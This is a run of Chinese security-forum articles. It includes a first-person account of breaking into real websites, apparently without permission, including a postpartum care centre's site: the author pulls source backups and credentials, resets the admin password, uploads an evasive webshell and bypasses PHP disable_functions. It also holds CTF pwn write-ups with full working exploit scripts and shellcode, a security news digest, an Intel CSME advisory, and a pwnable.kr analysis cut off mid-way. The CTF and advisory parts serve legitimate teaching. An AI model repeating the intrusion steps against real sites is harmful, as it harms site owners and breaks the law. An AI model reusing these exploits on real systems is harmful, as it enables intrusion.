等虚拟机安装一个 Linux 的系统（比如 CentOS）来进行实际的命令体验和学习。
另外，游戏剧情发展也十分令人深思，制作者埋下了大量伏笔，玩家在游玩过程中会慢慢发现各种线索，越来越深陷其中，仿佛自己就是 Hacknet 黑客中的一员。
该游戏在 Steam 上的评价是「 **绝对好评** 」，可见游戏素质之高。总之，如果你热爱程序、热爱黑客文化、热爱学习技术、热爱
Linux、命令行等元素，Hacknet 绝对值得你一玩。同时，该游戏也有手机版，大家也可以去看看哦。 | 社区文章 |
由于最近再写一个web漏洞扫描器，准备在fofa上找网站测试的时候，无意间看到了个标题，xx系统，
点进去一看，好家伙，这不就是我很收悉的，那个xxcms嘛（具体的忘记了）
正好通过这个网站的cms漏洞，测试下我的扫描器，结果，好家伙，这一扫，cms漏洞没扫出来源码倒是给我扫出来了，发现备份文件了
这网站的备份文件，居然放在主目录下，以域名加.tar.gz结尾
好家伙，这一拿到源码一看，审计下，发现看不来，看不了，这是一个二次开发的框架，把基本上公开的漏洞都给补了，不过数据库账号密码拿到了，不过限制了外链
代码审计这块看来是没希望了，哎，人又菜，又爱渗透，那咋办呢?
答案，当然是找大佬了，
Emmm，好像我没有大佬带我/(ㄒoㄒ)/~~
既然，没人疼，没人爱，那就搞旁站
登录，fofa找下旁站，这查不知道到啊一查吓一跳啊，好多站点啊，都再一个服务器，域名真多
这个应该是官网了，官网是个，月子会所的主页，进入会所，看样子好像是深圳那边比较有名的月子会所吧，我也不清楚
啥也不管先看看，这个网站怎么样？扫描器一起一波，发现是dedecms5.7
后台扫不出来
Emmm，这尼玛就烦了呀，然后再找下看有没有备份文件
一看，没有，通过上面的规律找备份文件，发现没得，
我想是不是哪里有问题，突然灵光一闪，dedecms好像有个爆绝对路径的漏洞呀，搞起，
原来，这个站点改了域名，通过原来的文件名加后缀，获取备份文件
好家伙，这一看源代码，引入眼帘的一个文件夹名字，好吸引人啊，
@)!^hssjORG$$$
这一串字符恐怖如斯啊┌(。Д。)┐
怪不得我爆破不到站点后台，这尼玛，这谁爆破的出来啊，特殊字符和大小写字母，我只能说一个字，牛，看来这个服务器应该是找人运维过，维护过吧
这次源码没啥好审计的，我没有0day
这次里面还有sql的备份，找到了admin账号密码，去头去尾，md5解密，没戏
哦豁，完蛋，又没得了，下一个
下一个网站也上一样的，dedecms5.7
不过，希望来了，这个站点有phpadmin
这就有戏了呀
phpadmin，数据库账号密码，绝对路径
这不妥妥的getshell，三件条准备好啦，这不拿下？
结果，自然没话说，这通过mysql日志getshell，不成功，可能是宝塔给拦下来了，日志显示不正常，，不知道为什么？
好的吧，是我太天真了
等等，我好像忘记了啥。。。后台呀！还是那句话，只要思想不滑坡，办法总比困难多！
既然密码解不出来，那就改密码，都有数据root权限了，还怕啥，直接干，就完了！
直接上后台，
系统这么就没更新了，点击文件管理，试试看能不能上次文件
啊，我大意了啊，没有闪，太快了，我截图都没截上就上传好了
渗透到这里我以为，就这，就这，这尼玛，这一下就没了？这也太简单了吧？
这该死的臭运气选手啊。(●ˇ∀ˇ●)
果然，我高兴的太早了，当我上传给冰蝎免杀马上去，结果，返回正常，但是不能执行命令，文件也获取不到，这。。。。问题又来了啊
这八成是disable_functions把函数全给禁了
好吧，既然禁止，那就绕吧
到网上看了下，找到大概绕过disable_functions这几种办法，还有大佬有别的想法的可以留言哈，多多交流
• 常规绕过：exec,shell_exec,system,passthru,popen,proc_open
• 利用环境变量LD_PRELOAD绕过mail,imap_mail,error_log,mb_send_mail
• 利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518)
• 利用系统组件window com绕过利用Apache+mod_cgi+.htaccess
• 绕过利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过利用 ShellShock绕过(CVE-2014-6271)
• 蚁剑插件
我应为懒，就直接上蚁剑插件了，这边还个小插曲，因为这个站是php5，绕不过，只能提权另一个php7的旁站，才绕过disable_functions执行命令
这个服务器上，还有很多很多站点，我没发现，我去，
最后提权，提权时遇到个问题，gcc编译时报错，这是什么原因啊？有那位大佬带带我啊。
不管编译啥文件，都是报这个错误
最后的最后做了个博客，[kosakd.top](https://kosakd.top/)
还请大佬带带弟弟 | 社区文章 |
# 1月11日安全热点–Meltdown/Spectre漏洞补丁影响
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Meltdown & Spectre 漏洞补丁导致Ubuntu 16.04无法启动
<https://www.bleepingcomputer.com/news/software/meltdown-and-spectre-patches-causing-boot-issues-for-ubuntu-16-04-computers/>
macOS又爆出密码漏洞：macOS High Sierra’s App Store系统偏好设置可被任意密码解锁
<https://twitter.com/zackwhittaker/status/951143200470728704>
<https://www.reddit.com/r/netsec/comments/7pi8lk/macos_high_sierras_app_store_system_preferences/>
<https://www.macrumors.com/2018/01/10/macos-high-sierra-app-store-password-bug/>
<http://openradar.appspot.com/36350507>
WhatsApp漏洞可使潜在的攻击者监控加密群聊
<http://thehackernews.com/2018/01/whatsapp-encryption-spying.html>
## 技术类
CVE-2017-17485 jackson-rce-via-spel PoC
<https://github.com/irsl/jackson-rce-via-spel>
看我如何逆向OBi200 Google Voice Appliance：Part 3
<https://randywestergren.com/reverse-engineering-obi200-google-voice-appliance-part-3/>
一些Wget常用命令
<https://n0where.net/howto-wget-command-examples>
WPA3新特性解释 – 什么是WPA3？
<http://rootsaid.com/wpa3-features-explained/>
SANS Christmas Challenge 2017 Writeup
<https://allyourbase.utouch.fr/posts/2018/01/10/sans-christmas-challenge-2017/>
学习如何用汇编（ARM 32位）编写TCP bind Shell
<https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/>
Parity Ethereum Client <= v1.6.10 Dapp浏览器webproxy token reuse同源策略绕过（含PoC）
<https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016>
CVE-2017-4946：VMware Horizon desktop agent 提权漏洞
<https://gosecure.net/2018/01/10/vmware-horizon-v4h-v4pa-desktop-agent-privilege-escalation-vulnerability-cve-2017-4946/>
WordPress Plugin Events Calendar event_id SQL Injection
<https://cxsecurity.com/issue/WLB-2018010099>
新的移动恶意软件利用分层混淆瞄准俄罗斯银行
<http://blog.trendmicro.com/trendlabs-security-intelligence/new-mobile-malware-uses-layered-obfuscation-targets-russian-banks/>
自动化的网络攻击武器
<https://github.com/dendisuhubdy/cyberweapons>
一些黑客攻击武器的Demo
<https://github.com/LockGit/Hacking>
前渗透信息探测工具集-子域名
<https://github.com/coco413/DiscoverSubdomain>
PhpSploit：后渗透测试框架
<https://n0where.net/stealth-post-exploitation-framework-phpsploit> | 社区文章 |
# 2020 *ctf 部分pwn writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
感谢[xmzyshypnc](https://ama2in9.top) 师傅和xxrw师傅手把手教学。
## babyheap
漏洞是一个`UAF`漏洞，程序实现了`6`个程序，`add,delete,edit,show,leave_name,show_name`，其中`add`函数限制了申请堆块的大小，`delete`函数中存在`UAF`漏洞，`leave_name`函数中申请了一个`0x400`大小的堆块。
因此这里首先申请`4`个`0x20,fastbin`，接着`leave_name`函数申请一个较大的堆块，使得`fastbin`堆块合并成`0x80`大小的`small
bin`，这样就能泄漏出`libc`基址，由于`edit`的起始位置是`+8`开始的，因此再次申请的堆块大小需要覆盖三个`fastbin`，因此申请一个`0x60`大小的堆块。这样就可以满足覆写`fd`指针为`free_hook-8`和`/bin/sh`字符串两个要求。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xdd9)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('52.152.231.198', 8081)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def add(index, size):
p.sendlineafter(">> \n", "1")
p.sendlineafter("input index\n", str(index))
p.sendlineafter("input size\n", str(size))
def delete(index):
p.sendlineafter(">> \n", "2")
p.sendlineafter("input index\n", str(index))
def edit(index, content):
p.sendlineafter(">> \n", "3")
p.sendlineafter("input index\n", str(index))
p.sendafter("input content\n", content)
def show(index):
p.sendlineafter(">> \n", "4")
p.sendlineafter("input index\n", str(index))
def leave_name(name):
p.sendlineafter(">> \n", "5")
p.sendafter("your name:\n", name)
def show_name():
p.sendlineafter(">> \n", "6")
for i in range(11):
add(i, 0x18)
for i in range(7):
delete(i + 4)
delete(0)
delete(1)
delete(2)
delete(3)
leave_name("1212")
show(0)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 0xd0 - 0x10 - libc.sym['__malloc_hook']
for i in range(7):
add(i + 4, 0x18)
# gdb.attach(p, "b *$rebase(0xdd9)")
log.success("libc address is {}".format(hex(libc.address)))
add(11, 0x60)
delete(1)
payload = b"a"*0x10 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x8)
payload += b"b"*0x10 + p64(0x21) + b"/bin/sh\x00"
edit(11, payload)
add(12, 0x50)
add(13, 0x50)
edit(13, p64(libc.sym['system']))
delete(2)
p.interactive()
## Favourite Architecure flag1
`riscv`栈溢出的漏洞，但是`ghidra`反编译失败，不知道咋回事。漏洞存在于输入`flag`的地方。
00010436 b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh
0001043a 13 85 07 89 addi a0=>s_Input_the_flag:_0004d890,a5,-0x770 = "Input the flag: "
0001043e ef 50 d0 41 jal ra,FUN_0001605a //output()
00010442 93 07 84 ed addi a5,s0,-0x128 //<< input_falg str
00010446 3e 85 c.mv a0,a5
00010448 ef 60 20 61 jal ra,read //read()
0001044c 93 07 84 ed addi a5,s0,-0x128
00010450 3e 85 c.mv a0,a5
00010452 ef 00 21 09 jal ra,strlen //strlen()
00010456 aa 86 c.mv a3,a0
00010458 03 a7 01 86 lw a4,-0x7a0(gp)
0001045c 83 a7 41 86 lw a5,-0x79c(gp)
00010460 b9 9f c.addw a5,a4
00010462 81 27 c.addiw a5,0x0
00010464 82 17 c.slli a5,0x20
00010466 81 93 c.srli a5,0x20
00010468 63 94 f6 10 bne a3,a5,LAB_00010570 //不等于0x59就跳转
//...
LAB_00010570 XREF[1]: 00010468(j)
00010570 01 00 c.nop
00010572 21 a0 c.j LAB_0001057a
//...
LAB_0001057a XREF[2]: 00010572(j), 00010576(j)
0001057a b7 e7 04 00 lui a5=>DAT_0004e000,0x4e = FFh
0001057e 13 85 87 8f addi a0=>s_You_are_wrong_._._0004d8f8,a5,-0x70= "You are wrong ._."
00010582 ef 60 60 64 jal ra,FUN_00016bc8 //output()
00010586 85 47 c.li a5,0x1
LAB_00010588 XREF[1]: 0001056e(j)
00010588 3e 85 c.mv a0,a5
0001058a fe 70 c.ldsp ra,0x1f8(sp)
0001058c 5e 74 c.ldsp s0,0x1f0(sp)
0001058e 13 01 01 20 addi sp,sp,0x200
00010592 82 80 ret
从第一层的逻辑看来，首先是`read`了一个很长的字符串（注意到这里的函数不一定是`read`，功能类似）。但是分配的长度才是`0x128`字节大小，因此这里可以溢出。并且如果我们输入的长度不为`0x59`那么直接会跳转到错误输出的位置之后结束进程，在结束进程的时候读取了`sp+0x1f8`的位置的值作为返回地址，因此我们可以直接溢出到返回地址。那么接下来就是如何利用的问题。
注意到题目给出的`patch`文件
diff --git a/linux-user/syscall.c b/linux-user/syscall.c
index 27adee9..2d75464 100644
--- a/linux-user/syscall.c
+++ b/linux-user/syscall.c
@@ -13101,8 +13101,31 @@ abi_long do_syscall(void *cpu_env, int num, abi_long arg1,
print_syscall(cpu_env, num, arg1, arg2, arg3, arg4, arg5, arg6);
}
- ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
- arg5, arg6, arg7, arg8);
+ switch (num) {
+ // syscall whitelist
+ case TARGET_NR_brk:
+ case TARGET_NR_uname:
+ case TARGET_NR_readlinkat:
+ case TARGET_NR_faccessat:
+ case TARGET_NR_openat2:
+ case TARGET_NR_openat:
+ case TARGET_NR_read:
+ case TARGET_NR_readv:
+ case TARGET_NR_write:
+ case TARGET_NR_writev:
+ case TARGET_NR_mmap:
+ case TARGET_NR_munmap:
+ case TARGET_NR_exit:
+ case TARGET_NR_exit_group:
+ case TARGET_NR_mprotect:
+ ret = do_syscall1(cpu_env, num, arg1, arg2, arg3, arg4,
+ arg5, arg6, arg7, arg8);
+ break;
+ default:
+ printf("[!] %d bad system call\n", num);
+ ret = -1;
+ break;
+ }
if (unlikely(qemu_loglevel_mask(LOG_STRACE))) {
print_syscall_ret(cpu_env, num, ret, arg1, arg2,
我们看到其只允许调用特定的系统调用，也就是我们只能编写`orw
shellcode`，而程序没有开启`pie`，也就是栈地址固定不变（需要注意的是本地栈地址和远程不一样，因此需要添加滑板指令）。
`shellcode`的编写参考网上的`shellcode`
.section .text
.globl _start
.option rvc
_start:
#open
li a1,0x67616c66 #flag
sd a1,4(sp)
addi a1,sp,4
li a0,-100
li a2,0
li a7, 56 # __NR_openat
ecall
# read
c.mv a2,a7
addi a7,a7,7
ecall
# write
li a0, 1
addi a7,a7,1
ecall
10078: 676175b7 lui a1,0x67617
1007c: c665859b addiw a1,a1,-922
10080: 00b13223 sd a1,4(sp)
10084: 004c addi a1,sp,4
10086: f9c00513 li a0,-100
1008a: 4601 li a2,0
1008c: 03800893 li a7,56
10090: 00000073 ecall
10094: 8646 mv a2,a7
10096: 089d addi a7,a7,7
10098: 00000073 ecall
1009c: 4505 li a0,1
1009e: 0885 addi a7,a7,1
100a0: 00000073 ecall
最终的`exp`
# encoding=utf-8
from pwn import *
file_path = "./main"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process(["./qemu-riscv64", "-g", "1234", file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('119.28.89.167', 60001)
stack = 0x4000800c70
nop = p32(0x00000013)
p.recvuntil("Input the flag: ")
payload = b"a"*0x118
payload += p64(stack)*2
shellcode = nop * 0xd0
shellcode += p32(0x676175b7) + p32(0xc665859b) + p32(0x00b13223)
shellcode += p16(0x004c) + p32(0xf9c00513) + p16(0x4601)
shellcode += p32(0x03800893) + p32(0x00000073) + p16(0x8646)
shellcode += p16(0x089d) + p32(0x00000073) + p16(0x4505) + p16(0x0885) + p32(0x00000073)
payload += shellcode
p.sendline(payload)
p.interactive()
## babygame
程序实现了一个类似于迷宫的操作，提供了如下的几种功能
h
Sokoban
How to Play:
Push all boxs into target place
Map:
1)█:wall
2)○:Target
3)□:Box
4)♀:Player
5)●:Box on target
Command:
1)h: show this message
2)q: quit the game
3)w: move up
4)s: move down
5)a: move left
6)d: move right
7)b: move back
8)m: leave message
k)n: show name
10)l: show message
目前逆向出的`game`结构体如下，其中`map`另有结构体存储。
00000000 game struc ; (sizeof=0x50, mappedto_7)
00000000 map_vector_start dq ?
00000008 current_vector dq ?
00000010 vector_end dq ?
00000018 start_time dq ?
00000020 end_time dq ?
00000028 cost_time dq ?
00000030 level dd ?
00000034 unknown dd ?
00000038 step_forward db ?
00000039 is_quit db ?
0000003A db ? ; undefined
0000003B db ? ; undefined
0000003C db ? ; undefined
0000003D db ? ; undefined
0000003E db ? ; undefined
0000003F db ? ; undefined
00000040 map dq ?
00000048 message dq ?
00000050 game ends
程序的主要逻辑如下
__int64 __usercall main@<rax>(__int64 a1@<rdi>, char **a2@<rsi>, char **a3@<rdx>, unsigned int a4@<r12d>)
{
__int64 v4; // rdi
char v6; // [rsp+Eh] [rbp-2h]
v6 = 1;
while ( v6 )
{
game_func(a4);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "restart?");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
if ( (unsigned __int8)get_input_filter(v4, &std::endl<char,std::char_traits<char>>) != 121 )
v6 = 0;
}
return 0LL;
}
unsigned __int64 __usercall game_func@<rax>(unsigned int a1@<r12d>)
{
unsigned __int64 result; // rax
char v2; // [rsp+0h] [rbp-90h]
unsigned __int64 v3; // [rsp+78h] [rbp-18h]
v3 = __readfsqword(0x28u);
init_game((game *)&v2, 0);
game_start((game *)&v2, 0LL, a1);
result = leave_name((__int64)&v2);
__readfsqword(0x28u);
return result;
}
void __usercall game_start(game *a1@<rdi>, unsigned __int64 a2@<rsi>, unsigned int a3@<r12d>)
{
char num; // ST1F_1
game *a1a; // [rsp+8h] [rbp-18h]
a1a = a1;
sub_FE91();
a1->step_forward = 1;
a1->level = -1;
while ( !a1a->is_quit )
{
while ( a1a->level == -1 && !a1a->is_quit )
{
num = get_input((__int64)a1, (void *)a2);
a2 = (unsigned int)num;
a1 = a1a;
detec_error_quit(a1a, num);
}
if ( a1a->is_quit )
break;
get_map(a1a);
handle_step(a1a, a3);
a1 = a1a;
put_map_vector(a1a);
}
sub_FE98();
}
unsigned __int64 __fastcall leave_name(game *a1)
{
__int64 v1; // rdi
__int64 v2; // rax
game *v4; // [rsp+8h] [rbp-48h]
__int64 name; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v4 = a1;
v6 = __readfsqword(0x28u);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "leave your name?");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
if ( (unsigned __int8)get_input_filter(v1, &std::endl<char,std::char_traits<char>>) == 'y' )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "your name:");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name);
put_name_to_vector((game *)&::a1, (__int64)&name);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name, &name);
}
clear_map_vector(v4);
operator delete((void *)v4->message);
sub_C026(v4);
return __readfsqword(0x28u) ^ v6;
}
程序存在两个漏洞，一个是算是`message`脏数据。首先在`init_game`函数中为`game->message`分配空间的时候并没有清空内存中的数据，而`message`的堆块大小为`0x510`，也就是说释放之后重新申请即可以泄漏得到`libc`基址。程序恰好存在`restart`的情况，因此我们可以据此泄漏得到`libc`基址。
send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
另一个就是`map+0xe0`处保存指针的`double free`漏洞。该处的漏洞是在调试中发现的，在`update
level`之后会退出会出现一个`double free`的漏洞，堆块的大小是`0x60`。那么接下来就是`double
free`如何利用的问题了。我们能够进行任意堆块分配的就是`message`了。但是程序中采用的是`cin`进行读取的，不能覆盖到`0x60`的堆块。但是我们看到在读取得到`message`之后会将其`put
vector`。在该函数中会按照我们输入的`message`的长度进行堆块申请
if ( current_vector_c )
current_vector_c = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
current_vector_c,
name_c);
这里就达到了我们任意申请堆块的目的。下面就是正常的`double
free`的操作了。这里注意的是`put_name_vector`函数调用结束之后就是`name`的析构函数。
put_name_to_vector((game *)&::a1, (__int64)&name);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(
(__int64)&name,
(__int64)&name);
在我们覆写完毕`free_hook`之后此处是第一次调用的位置（需要注意`name
vector`的扩展情况），因此我们将`name`的起始八个字节改为`/bin/sh`，覆写的`fd`指针自然变为`free_hook-0x8`。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xB56b)\nb *$rebase(0xB166)\nb *$rebase(0xa70d)\nb *$rebase(0xb06f)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('52.152.231.198', 8082)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def send_order(order):
p.sendlineafter("Please input an order:\n", order)
def send_level(level):
p.sendlineafter("Please input an level from 1-9:\n", level)
def leave_name(name):
p.sendlineafter("your name:", name)
send_level("q")
send_order("n")
send_order("y")
send_level("l")
p.recvuntil("message:")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))
send_level("1")
send_order("2")
send_order("q")
send_order("n")
leave_name(b"a"*0x70) # name vector 1, ex
send_order("y")
send_level("1")
send_order("q")
send_order("y")
leave_name(p64(libc.sym['__free_hook']- 0x8).ljust(0x50, b"\x00")) # name vector 2, ex
send_order("y")
send_level("1")
send_order("q")
send_order("y")
leave_name(b"a"*0x50) # name vector 3, ex
send_order("y")
send_level("1")
send_order("q")
send_order("y")
leave_name((b"/bin/sh\x00" + p64(libc.sym['system'])).ljust(0x50, b"\x00"))
p.interactive() | 社区文章 |
# Intel CSME 漏洞预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞背景
英特尔公布：在英特尔 CSME，英特尔服务器平台服务和英特尔可信执行引擎固件中潜在的安全漏洞会允许信息泄漏，英特尔正在发布英特尔
CSME，英特尔服务器平台服务和英特尔可信执行引擎更新，以缓解此潜在漏洞。
360-CERT团队经过评估，认为漏洞风险等级高危，建议用户参照相关修复建议进行防御。
## 0x01 漏洞细节
CVE ID: CVE-2018-3655
描述：漏洞存在于11.21.55版本之前的英特尔CSME中的子系统，4.0版本之前的英特尔服务器平台服务和3.1.55版本之前的英特尔可信执行引擎固件中，可能允许未经身份验证的用户通过物理访问来修改或泄漏信息。
CVSS Base Score: 7.3 High
CVSS Vector: CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
具有物理访问权限的未经身份验证的用户可以：
•绕过英特尔CSME 反重放保护，可能允许暴力攻击来获取存储在英特尔CSME内的信息。
•获得未经授权访问英特尔MEBX的密码。
•篡改英特尔CSME文件系统目录的完整性或服务器平台服务和可信执行环境（英特尔TXT）数据文件。
INTEL-SA-00086中描述的缓解措施无法防止此问题，因为对系统具有物理访问权限的用户可能能够回滚到受CVE-2017-5705，CVE-2017-5706和CVE-2017-5707影响的早期英特尔CSME固件。
## 0x02 影响范围
此漏洞影响英特尔CSME固件版本：11.0至11.8.50， 11.10至11.11.50， 11.20至11.21.51。
英特尔服务器平台服务固件版本：4.0（仅限Purley和Bakerville）。 英特尔TXE版本：3.0到3.1.50。
Intel CSME:
更新的英特尔CSME固件版本 | 替代英特尔CSME固件版本
---|---
11.8.55 | 11.8.50.3399
11.11.55 | 11.11.50.1402
11.21.55 | 11.21.50.1400
英特尔服务平台服务：
更新的SPS固件版本 | 替代SPS固件版本
---|---
SPS_SoC-A_04.00.04.177.0 | SPS_SoC-A_04.00.04.172.0
SPS_SoC-X_04.00.04.077.0 | SPS_SoC-X_04.00.04.057.0
SPS_E5_04.00.04.381.0 | SPS_E5_04.00.04.340.0
英特尔可信执行引擎（TXE）：
更新了TXE固件版本 | 替代TXE固件版本
---|---
3.1.55 | 3.1.50.2222
不受影响范围： 英特尔CSME固件11.0版本之前的版本 。 英特尔服务器平台服务4.0以前版本。 TXE 3.0以前版本。
英特尔CSME固件版本11.8.55 ， 11.11.55 ， 11.21.55 版本。 英特尔服务器平台服务5.0及更高版本。 TXE
3.1.55或更高版本。
## 0x03 修复建议
请英特尔CSME，英特尔服务器平台服务和英特尔可信执行引擎（TXE）的用户更新最新补丁。
## 0x04 时间线
2018-09-11 英特尔漏洞披露
2018-09-12 360CERT发布预警通告
## 0x05 参考链接
1. <https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00125.html>
2. <https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html> | 社区文章 |
# pwnable.kr alloca详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近在刷`pwnable.kr [Rookiss]`，题目都好有意思，其中一题`alloca`虽然分值不高，但分析过程很值得学习。
## 题目描述
Let me give you a lesson: "How to prevent buffer overflow?"
ssh [email protected] -p2222 (pw:guest)
先用ssh登陆进去看看
alloca@ubuntu:~$ ls -al
total 36
drwxr-x--- 5 root alloca 4096 Mar 29 2018 .
drwxr-xr-x 93 root root 4096 Oct 10 22:56 ..
d--------- 2 root root 4096 Sep 20 2015 .bash_history
dr-xr-xr-x 2 root root 4096 Jul 13 2016 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r-xr-sr-x 1 root alloca_pwn 7804 Mar 29 2018 alloca
-rw-r--r-- 1 root root 1942 Mar 29 2018 alloca.c
-rw-r----- 1 root alloca_pwn 64 Sep 24 2015 flag
题目提供了一个`alloca`二进制文件，以及程序的源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void callme(){
system("/bin/sh");
}
void clear_newlines(){
int c;
do{
c = getchar();
}while (c != 'n' && c != EOF);
}
int g_canary;
int check_canary(int canary){
int result = canary ^ g_canary;
int canary_after = canary;
int canary_before = g_canary;
printf("canary before using buffer : %dn", canary_before);
printf("canary after using buffer : %dnn", canary_after);
if(result != 0){
printf("what the ....??? how did you messed this buffer????n");
}
else{
printf("I told you so. its trivially easy to prevent BOF :)n");
printf("therefore as you can see, it is easy to make secure softwaren");
}
return result;
}
int size;
char* buffer;
int main(){
printf("- BOF(buffer overflow) is very easy to prevent. here is how to.nn");
sleep(1);
printf(" 1. allocate the buffer size only as you need itn");
printf(" 2. know your buffer size and limit the input lengthnn");
printf("- simple right?. let me show you.nn");
sleep(1);
printf("- whats the maximum length of your buffer?(byte) : ");
scanf("%d", &size);
clear_newlines();
printf("- give me your random canary number to prove there is no BOF : ");
scanf("%d", &g_canary);
clear_newlines();
printf("- ok lets allocate a buffer of length %dnn", size);
sleep(1);
buffer = alloca( size + 4 ); // 4 is for canary
printf("- now, lets put canary at the end of the buffer and get your datan");
printf("- don't worry! fgets() securely limits your input after %d bytes :)n", size);
printf("- if canary is not changed, we can prove there is no BOF :)n");
printf("$ ");
memcpy(buffer+size, &g_canary, 4); // canary will detect overflow.
fgets(buffer, size, stdin); // there is no way you can exploit this.
printf("n");
printf("- now lets check canary to see if there was overflownn");
check_canary( *((int*)(buffer+size)) );
return 0;
}
程序模仿`canary`的原理，使用`alloca`开辟栈空间后，在`buffer`后面加4字节的`g_canary`，同时在`check_canary`中检查栈中的`canary`是否被修改。程序里面也预留了一个`callme`的后门，方便我们getshell。
## alloca函数
先看一下本题关键函数`alloca`是什么东东。先在Ubuntu里面看看函数描述`man alloca`
ALLOCA(3) Linux Programmer's Manual ALLOCA(3)
NAME
alloca - allocate memory that is automatically freed
SYNOPSIS
#include <alloca.h>
void *alloca(size_t size);
DESCRIPTION
The alloca() function allocates size bytes of space in the stack frame of the caller. This temporary
space is automatically freed when the function that called alloca() returns to its caller.
`alloca`跟`malloc/calloc/realloc`类似，都是内存分配函数，但是它是在当前函数的栈帧上分配存储空间，而不是在堆中。当函数返回时会自动释放它所使用的栈帧，不必为释放空间而费心。
## 程序分析
先看一下程序开了什么保护
[*] '/home/kira/pwn/pwnable.kr/alloca'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到基本没开保护，我们把下载下来的二进制文件拖入ida看一下伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // esp
void *retaddr; // [esp+Ch] [ebp+4h]
puts("- BOF(buffer overflow) is very easy to prevent. here is how to.n");
sleep(1u);
puts(" 1. allocate the buffer size only as you need it");
puts(" 2. know your buffer size and limit the input lengthn");
puts("- simple right?. let me show you.n");
sleep(1u);
printf("- whats the maximum length of your buffer?(byte) : ");
__isoc99_scanf("%d", &size);
clear_newlines();
printf("- give me your random canary number to prove there is no BOF : ");
__isoc99_scanf("%d", &g_canary);
clear_newlines();
printf("- ok lets allocate a buffer of length %dnn", size);
sleep(1u);
v3 = alloca(16 * ((size + 34) / 0x10u));
buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
puts("- now, lets put canary at the end of the buffer and get your data");
printf("- don't worry! fgets() securely limits your input after %d bytes :)n", size);
puts("- if canary is not changed, we can prove there is no BOF :)");
printf("$ ");
*(_DWORD *)&buffer[size] = g_canary;
fgets(buffer, size, stdin);
putchar(10);
puts("- now lets check canary to see if there was overflown");
check_canary(*(_DWORD *)&buffer[size]);
return 0;
}
IDA的伪代码几乎与源码一致，唯一有点差别的就是原来的`buffer = alloca( size + 4 );`变成了
v3 = alloca(16 * ((size + 34) / 0x10u));
buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
这应该是ida的识别问题，我们还是直接看汇编吧
.text:08048742 ; 19: v3 = alloca(16 * ((size + 34) / 0x10u));
.text:08048742 add esp, 10h
.text:08048745 mov eax, ds:size
.text:0804874A add eax, 4
.text:0804874D lea edx, [eax+0Fh]
.text:08048750 mov eax, 10h
.text:08048755 sub eax, 1
.text:08048758 add eax, edx
.text:0804875A mov ecx, 10h
.text:0804875F mov edx, 0
.text:08048764 div ecx
.text:08048766 imul eax, 10h
.text:08048769 sub esp, eax
.text:0804876B ; 20: buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
.text:0804876B mov eax, esp
.text:0804876D add eax, 0Fh
.text:08048770 shr eax, 4
.text:08048773 shl eax, 4
.text:08048776 mov ds:buffer, eax
